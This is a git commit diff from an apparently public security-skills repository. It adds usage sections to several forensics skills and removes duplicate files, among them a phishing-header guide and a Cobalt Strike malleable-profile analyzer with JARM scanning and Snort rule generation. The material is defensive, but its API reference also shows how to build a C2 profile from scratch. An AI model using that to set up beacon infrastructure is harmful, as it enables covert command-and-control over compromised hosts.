Remove backed-up duplicate skills to fix validation pipeline

This commit is contained in:
mukul975
2026-03-19 13:41:30 +01:00
parent 2438c22972
commit 682d416c6e
234 changed files with 2334 additions and 16295 deletions
@@ -15,6 +15,14 @@ license: Apache-2.0
Hindsight is an open-source browser forensics tool designed to parse artifacts from Google Chrome and other Chromium-based browsers (Microsoft Edge, Brave, Opera, Vivaldi). It extracts and correlates data from multiple browser database files to create a unified timeline of web activity. Hindsight can parse URLs, download history, cache records, bookmarks, autofill records, saved passwords, preferences, browser extensions, HTTP cookies, Local Storage (HTML5 cookies), login data, and session/tab information. The tool produces chronological timelines in multiple output formats (XLSX, JSON, SQLite) that enable investigators to reconstruct user web activity for incident response, insider threat investigations, and criminal cases.
## When to Use
- When investigating security incidents that require analyzing browser forensics with hindsight
- When building detection rules or threat hunting queries for this domain
- When SOC analysts need structured procedures for this analysis type
- When validating security monitoring coverage for related attack techniques
## Prerequisites
- Python 3.8+ with Hindsight installed (`pip install pyhindsight`)
@@ -1,201 +0,0 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
@@ -1,60 +0,0 @@
---
name: analyzing-cobalt-strike-malleable-profiles
description: >
Parses Cobalt Strike malleable C2 profiles using pyMalleableC2 to extract beacon
configuration, HTTP communication patterns, and sleep/jitter settings. Combines with
JARM TLS fingerprinting to detect C2 servers on the network. Use when investigating
suspected Cobalt Strike infrastructure or building detection signatures for C2 traffic.
domain: cybersecurity
subdomain: security-operations
tags: [analyzing, cobalt, strike, malleable]
version: "1.0"
author: mahipal
license: Apache-2.0
---
# Analyzing Cobalt Strike Malleable Profiles
## Instructions
Parse malleable C2 profiles to extract IOCs and detection opportunities using the
pyMalleableC2 library. Combine with JARM fingerprinting to identify C2 servers.
```python
from malleablec2 import Profile
# Parse a malleable profile from file
profile = Profile.from_file("amazon.profile")
# Extract global options (sleep, jitter, user-agent)
print(profile.ast.pretty())
# Access HTTP-GET block URIs and headers for network signatures
# Access HTTP-POST block for data exfiltration patterns
# Generate JARM fingerprints for known C2 infrastructure
```
Key analysis steps:
1. Parse the malleable profile to extract HTTP-GET/POST URI patterns
2. Extract User-Agent strings and custom headers for IDS signatures
3. Identify sleep time and jitter for beaconing detection thresholds
4. Scan suspect IPs with JARM to match known C2 fingerprint hashes
5. Cross-reference extracted IOCs with network traffic logs
## Examples
```python
# Parse profile and extract detection indicators
from malleablec2 import Profile
p = Profile.from_file("cobaltstrike.profile")
print(p) # Reconstructed source
# JARM scan a suspect C2 server
import subprocess
result = subprocess.run(
["python3", "jarm.py", "suspect-server.com"],
capture_output=True, text=True
)
print(result.stdout)
# Compare fingerprint against known CS JARM hashes
```
@@ -1,69 +0,0 @@
# API Reference: Analyzing Cobalt Strike Malleable Profiles
## pyMalleableC2
```python
from malleablec2 import Profile
from malleablec2.components import HttpGetBlock, HttpPostBlock, ClientBlock, ServerBlock
# Parse from file or string
p = Profile.from_file("amazon.profile")
p = Profile.from_string(code_string)
p = Profile.from_scratch()
# Set global options
p.set_option("sleeptime", "3000")
p.set_option("jitter", "0")
p.set_option("pipename", "mojo__##")
# HTTP blocks
http_get = HttpGetBlock()
http_get.set_option("uri", "/updates")
client = ClientBlock()
client.add_statement("header", "Accept", "*/*")
http_get.add_code_block(client)
p.add_code_block(http_get)
# AST and reconstruction
print(p.ast.pretty()) # Display AST
print(p) # Reconstruct source
```
## JARM TLS Fingerprinting
```bash
# Scan a single host
python3 jarm.py www.example.com
# Scan with specific port
python3 jarm.py 192.168.1.1 -p 8443
# Batch scan from file
python3 jarm.py -i targets.txt -o results.csv
```
Fingerprint format: 62-char hybrid hash
- First 30 chars: cipher + TLS version (10 handshakes x 3 chars)
- Last 32 chars: truncated SHA256 of cumulative extensions
## Known Cobalt Strike JARM Hashes
| JARM Hash | Description |
|-----------|-------------|
| `07d14d16d21d21d07c42d41d00041d...` | CS default config |
| `07d14d16d21d21d00042d41d00041d...` | CS with Java 11 |
## dissect.cobaltstrike (Alternative)
```python
from dissect.cobaltstrike import beacon
b = beacon.BeaconConfig.from_file("beacon.bin")
print(b.protocol, b.port, b.sleeptime)
```
### References
- pyMalleableC2: https://github.com/byt3bl33d3r/pyMalleableC2
- JARM scanner: https://github.com/salesforce/jarm
- dissect.cobaltstrike: https://github.com/fox-it/dissect.cobaltstrike
- C2 JARM list: https://github.com/cedowens/C2-JARM
@@ -1,174 +0,0 @@
#!/usr/bin/env python3
"""Agent for analyzing Cobalt Strike malleable C2 profiles and JARM fingerprinting."""
import os
import json
import subprocess
import argparse
from pathlib import Path
from datetime import datetime
from malleablec2 import Profile
def extract_profile_indicators(profile_path):
"""Extract detection indicators from a malleable C2 profile."""
with open(profile_path) as f:
content = f.read()
profile = Profile.from_string(content)
indicators = {
"file": str(profile_path),
"source_lines": len(content.splitlines()),
"reconstructed": str(profile),
}
keywords = ["sleeptime", "jitter", "useragent", "pipename", "host_stage",
"dns_idle", "dns_sleep", "spawnto_x86", "spawnto_x64"]
options = {}
for kw in keywords:
for line in content.splitlines():
stripped = line.strip().rstrip(";").strip()
if kw in stripped.lower() and "set " in stripped.lower():
parts = stripped.split('"')
if len(parts) >= 2:
options[kw] = parts[1]
indicators["global_options"] = options
uris = []
for line in content.splitlines():
if "set uri" in line.strip().lower():
parts = line.strip().split('"')
if len(parts) >= 2:
uris.append(parts[1])
indicators["uris"] = uris
headers = []
for line in content.splitlines():
stripped = line.strip()
if "header " in stripped.lower() and '"' in stripped:
parts = stripped.split('"')
if len(parts) >= 4:
headers.append({"name": parts[1], "value": parts[3]})
indicators["custom_headers"] = headers
return indicators
def scan_directory_profiles(directory):
"""Scan a directory for malleable C2 profiles and extract indicators."""
results = []
for path in Path(directory).rglob("*.profile"):
try:
indicators = extract_profile_indicators(str(path))
results.append(indicators)
except Exception as e:
results.append({"file": str(path), "error": str(e)})
return results
KNOWN_CS_JARM = {
"07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1":
"Cobalt Strike (default)",
"07d14d16d21d21d00042d41d00041de5fb3038104f457d92ba02e9311512c2":
"Cobalt Strike (Java 11)",
}
def compute_jarm_fingerprint(host, port=443):
"""Compute JARM fingerprint by invoking the salesforce/jarm scanner."""
jarm_script = os.getenv("JARM_SCRIPT", "jarm.py")
try:
result = subprocess.run(
["python3", jarm_script, host, "-p", str(port)],
capture_output=True, text=True, timeout=30,
)
for line in result.stdout.splitlines():
if len(line.strip()) >= 62:
return line.strip().split()[-1]
return result.stdout.strip()
except Exception as e:
return f"Error: {e}"
def check_jarm_against_known(fingerprint):
"""Check a JARM fingerprint against known Cobalt Strike signatures."""
for jarm_hash, description in KNOWN_CS_JARM.items():
if fingerprint.strip() == jarm_hash:
return {"match": True, "description": description, "fingerprint": fingerprint}
return {"match": False, "fingerprint": fingerprint}
def batch_jarm_scan(targets, port=443):
"""Scan multiple targets for JARM fingerprints and check against known CS hashes."""
results = []
for target in targets:
fp = compute_jarm_fingerprint(target, port)
match = check_jarm_against_known(fp)
match["target"] = target
results.append(match)
return results
def generate_snort_rules(indicators_list):
"""Generate Snort/Suricata rules from extracted profile indicators."""
rules = []
sid = 1000001
for ind in indicators_list:
for uri in ind.get("uris", []):
rules.append(
f'alert http $HOME_NET any -> $EXTERNAL_NET any '
f'(msg:"CS Beacon URI {uri}"; '
f'content:"{uri}"; http_uri; sid:{sid}; rev:1;)'
)
sid += 1
ua = ind.get("global_options", {}).get("useragent", "")
if ua:
rules.append(
f'alert http $HOME_NET any -> $EXTERNAL_NET any '
f'(msg:"CS Beacon User-Agent"; '
f'content:"{ua}"; http_header; sid:{sid}; rev:1;)'
)
sid += 1
return rules
def main():
parser = argparse.ArgumentParser(description="Cobalt Strike Malleable Profile Analyzer")
parser.add_argument("--profile", help="Path to a single malleable C2 profile")
parser.add_argument("--directory", help="Directory of malleable profiles")
parser.add_argument("--jarm-targets", nargs="*", help="Hosts to JARM fingerprint")
parser.add_argument("--output", default="cs_analysis_report.json")
parser.add_argument("--action", choices=[
"parse", "scan_dir", "jarm", "generate_rules", "full_analysis"
], default="full_analysis")
args = parser.parse_args()
report = {"generated_at": datetime.utcnow().isoformat(), "findings": {}}
if args.action in ("parse", "full_analysis") and args.profile:
indicators = extract_profile_indicators(args.profile)
report["findings"]["profile_indicators"] = indicators
print(f"[+] Parsed: {args.profile} ({len(indicators.get('uris', []))} URIs)")
if args.action in ("scan_dir", "full_analysis") and args.directory:
results = scan_directory_profiles(args.directory)
report["findings"]["directory_scan"] = results
print(f"[+] Scanned {len(results)} profiles in {args.directory}")
if args.action in ("jarm", "full_analysis") and args.jarm_targets:
jarm_results = batch_jarm_scan(args.jarm_targets)
report["findings"]["jarm_scan"] = jarm_results
matches = [r for r in jarm_results if r.get("match")]
print(f"[+] JARM: {len(jarm_results)} scanned, {len(matches)} CS matches")
if args.action in ("generate_rules", "full_analysis"):
profiles = report["findings"].get("directory_scan", [])
if not profiles and args.profile:
profiles = [report["findings"].get("profile_indicators", {})]
rules = generate_snort_rules(profiles)
report["findings"]["snort_rules"] = rules
print(f"[+] Generated {len(rules)} Snort rules")
with open(args.output, "w") as f:
json.dump(report, f, indent=2, default=str)
print(f"[+] Report saved to {args.output}")
if __name__ == "__main__":
main()
@@ -16,3 +16,18 @@ license: Apache-2.0
Parse auditd logs to detect file access violations, privilege escalation,
suspicious syscalls, and unauthorized process execution.
## When to Use
- When investigating security incidents that require analyzing linux audit logs for intrusion
- When building detection rules or threat hunting queries for this domain
- When SOC analysts need structured procedures for this analysis type
- When validating security monitoring coverage for related attack techniques
## Prerequisites
- Familiarity with log analysis concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
@@ -15,6 +15,14 @@ license: Apache-2.0
Windows LNK (shortcut) files and Jump Lists are critical forensic artifacts that provide evidence of file access, program execution, and user behavior. LNK files are created automatically when a user opens a file through Windows Explorer or the Open/Save dialog, storing metadata about the target file including its original path, timestamps, volume serial number, NetBIOS name, and MAC address of the host system. Jump Lists, introduced in Windows 7, extend this by maintaining per-application lists of recently and frequently accessed files. These artifacts persist even after the target files are deleted, making them invaluable for establishing that a user accessed specific files at specific times.
## When to Use
- When investigating security incidents that require analyzing lnk file and jump list artifacts
- When building detection rules or threat hunting queries for this domain
- When SOC analysts need structured procedures for this analysis type
- When validating security monitoring coverage for related attack techniques
## Prerequisites
- LECmd (Eric Zimmerman) for LNK file parsing
@@ -15,6 +15,14 @@ license: Apache-2.0
The NTFS Master File Table ($MFT) is the central metadata repository for every file and directory on an NTFS volume. Each file is represented by at least one 1024-byte MFT record containing attributes such as $STANDARD_INFORMATION (timestamps, permissions), $FILE_NAME (name, parent directory, timestamps), and $DATA (file content or cluster run pointers). When a file is deleted, its MFT record is marked as inactive (InUse flag cleared) but the metadata remains until the entry is reallocated by a new file. This persistence makes MFT analysis a primary technique for recovering deleted file evidence, reconstructing file system timelines, and detecting anti-forensic activity such as timestomping.
## When to Use
- When investigating security incidents that require analyzing mft for deleted file recovery
- When building detection rules or threat hunting queries for this domain
- When SOC analysts need structured procedures for this analysis type
- When validating security monitoring coverage for related attack techniques
## Prerequisites
- Forensic disk image (E01, raw/dd, VMDK, or VHDX format)
@@ -15,6 +15,14 @@ license: Apache-2.0
Microsoft Outlook PST (Personal Storage Table) and OST (Offline Storage Table) files are critical evidence sources in digital forensics investigations. PST files store email messages, calendar events, contacts, tasks, and notes in a proprietary binary format based on the MAPI (Messaging Application Programming Interface) property system. Forensic analysis of these files enables recovery of deleted emails (from the Recoverable Items folder), extraction of email headers for tracing message routes, analysis of attachments for malware or exfiltrated data, and reconstruction of communication patterns. Modern PST files use Unicode format with 4KB pages and can grow up to 50GB, while legacy ANSI format is limited to 2GB.
## When to Use
- When investigating security incidents that require analyzing outlook pst for email forensics
- When building detection rules or threat hunting queries for this domain
- When SOC analysts need structured procedures for this analysis type
- When validating security monitoring coverage for related attack techniques
## Prerequisites
- libpff/pffexport (open-source PST parser)
@@ -1,201 +0,0 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
@@ -1,78 +0,0 @@
---
name: analyzing-phishing-email-headers
description: Email headers contain critical metadata that reveals the true origin, routing path, and authentication status of emails. Analyzing these headers is a foundational skill for identifying phishing attemp
domain: cybersecurity
subdomain: phishing-defense
tags: [phishing, email-security, social-engineering, dmarc, awareness, header-analysis, forensics]
version: "1.0"
author: mahipal
license: Apache-2.0
---
# Analyzing Phishing Email Headers
## Overview
Email headers contain critical metadata that reveals the true origin, routing path, and authentication status of emails. Analyzing these headers is a foundational skill for identifying phishing attempts, verifying sender authenticity, and gathering threat intelligence. This skill covers systematic extraction and interpretation of email headers using both manual techniques and automated tools.
## Prerequisites
- Basic understanding of SMTP protocol and email delivery
- Familiarity with DNS records (MX, TXT, SPF, DKIM, DMARC)
- Python 3.8+ installed
- Access to email client that can export raw headers (Outlook, Gmail, Thunderbird)
## Key Concepts
### Critical Header Fields
1. **Received**: Chain of mail servers the message passed through (read bottom to top)
2. **From / Return-Path / Reply-To**: Sender identity fields (often spoofed)
3. **Authentication-Results**: SPF, DKIM, DMARC verification outcomes
4. **X-Originating-IP**: Original sender IP address
5. **Message-ID**: Unique identifier; anomalies indicate spoofing
6. **X-Mailer / User-Agent**: Email client used to compose the message
### Red Flags in Headers
- Mismatched `From` and `Return-Path` domains
- SPF/DKIM/DMARC failures in `Authentication-Results`
- Suspicious `Received` chains with unfamiliar relay servers
- `X-Originating-IP` from unexpected geographies
- Missing or malformed `Message-ID`
- Unusual `X-Mailer` values (e.g., mass-mailing tools)
## Implementation Steps
### Step 1: Extract Raw Email Headers
```
Gmail: Open email -> Three dots -> "Show original"
Outlook: Open email -> File -> Properties -> Internet Headers
Thunderbird: View -> Message Source (Ctrl+U)
```
### Step 2: Parse Headers with Python
Use the `scripts/process.py` script to automate header analysis including IP geolocation, authentication validation, and anomaly detection.
### Step 3: Validate Authentication Chain
- Check SPF alignment: Does the sending IP match the domain's SPF record?
- Check DKIM signature: Is the cryptographic signature valid?
- Check DMARC policy: Does the message pass DMARC alignment?
### Step 4: Trace Mail Route
- Read `Received` headers from bottom to top
- Map each hop's IP to organization/location
- Identify unexpected relays or delays
### Step 5: Correlate with Threat Intelligence
- Look up originating IP on AbuseIPDB, VirusTotal
- Check sending domain age on WHOIS
- Search for known phishing infrastructure patterns
## Tools & Resources
- **MXToolbox Header Analyzer**: https://mxtoolbox.com/EmailHeaders.aspx
- **Google Admin Toolbox**: https://toolbox.googleapps.com/apps/messageheader/
- **AbuseIPDB**: https://www.abuseipdb.com/
- **VirusTotal**: https://www.virustotal.com/
- **PhishTank**: https://phishtank.org/
## Validation
- Successfully parse headers from 3 different email providers
- Correctly identify authentication pass/fail status
- Accurately trace email routing path
- Detect at least 3 phishing indicators in a sample phishing email
@@ -1,86 +0,0 @@
# Phishing Email Header Analysis Report Template
## Report Information
- **Analyst**: [Name]
- **Date**: [YYYY-MM-DD]
- **Case ID**: [CASE-XXXX]
- **Classification**: [Phishing / Spear-phishing / BEC / Legitimate]
## Email Summary
| Field | Value |
|---|---|
| From | |
| To | |
| Subject | |
| Date Received | |
| Message-ID | |
## Authentication Results
| Check | Result | Domain | Notes |
|---|---|---|---|
| SPF | pass/fail/none | | |
| DKIM | pass/fail/none | | |
| DMARC | pass/fail/none | | |
## Sender Analysis
| Field | Value | Match From? |
|---|---|---|
| From (header) | | N/A |
| Return-Path (envelope) | | Yes/No |
| Reply-To | | Yes/No |
| X-Originating-IP | | |
| X-Mailer | | |
## Routing Analysis
| Hop | Server From | Server By | IP | Location | Time |
|---|---|---|---|---|---|
| 1 | | | | | |
| 2 | | | | | |
| 3 | | | | | |
## Indicators of Compromise (IOCs)
### IP Addresses
| IP | Source | Reputation | Location |
|---|---|---|---|
| | | | |
### Domains
| Domain | Source | Age | Reputation |
|---|---|---|---|
| | | | |
### URLs
| URL | Context | Status |
|---|---|---|
| | | |
## Phishing Indicators Found
| # | Category | Description | Severity |
|---|---|---|---|
| 1 | | | |
| 2 | | | |
| 3 | | | |
## Risk Assessment
- **Risk Score**: [0-100]
- **Risk Level**: [CLEAN / LOW / MEDIUM / HIGH / CRITICAL]
- **Confidence**: [Low / Medium / High]
## Recommended Actions
- [ ] Block sender domain at email gateway
- [ ] Add originating IP to blocklist
- [ ] Submit IOCs to threat intelligence platform
- [ ] Notify affected users
- [ ] Check for similar messages in mail logs
- [ ] Update email filtering rules
- [ ] Report to anti-phishing databases (PhishTank, APWG)
## Evidence Chain
| Item | Hash (SHA-256) | Description |
|---|---|---|
| Original .eml | | Raw email file |
| Headers export | | Extracted headers |
| Screenshots | | Visual evidence |
## Notes
[Additional observations, context, or analysis notes]
@@ -1,90 +0,0 @@
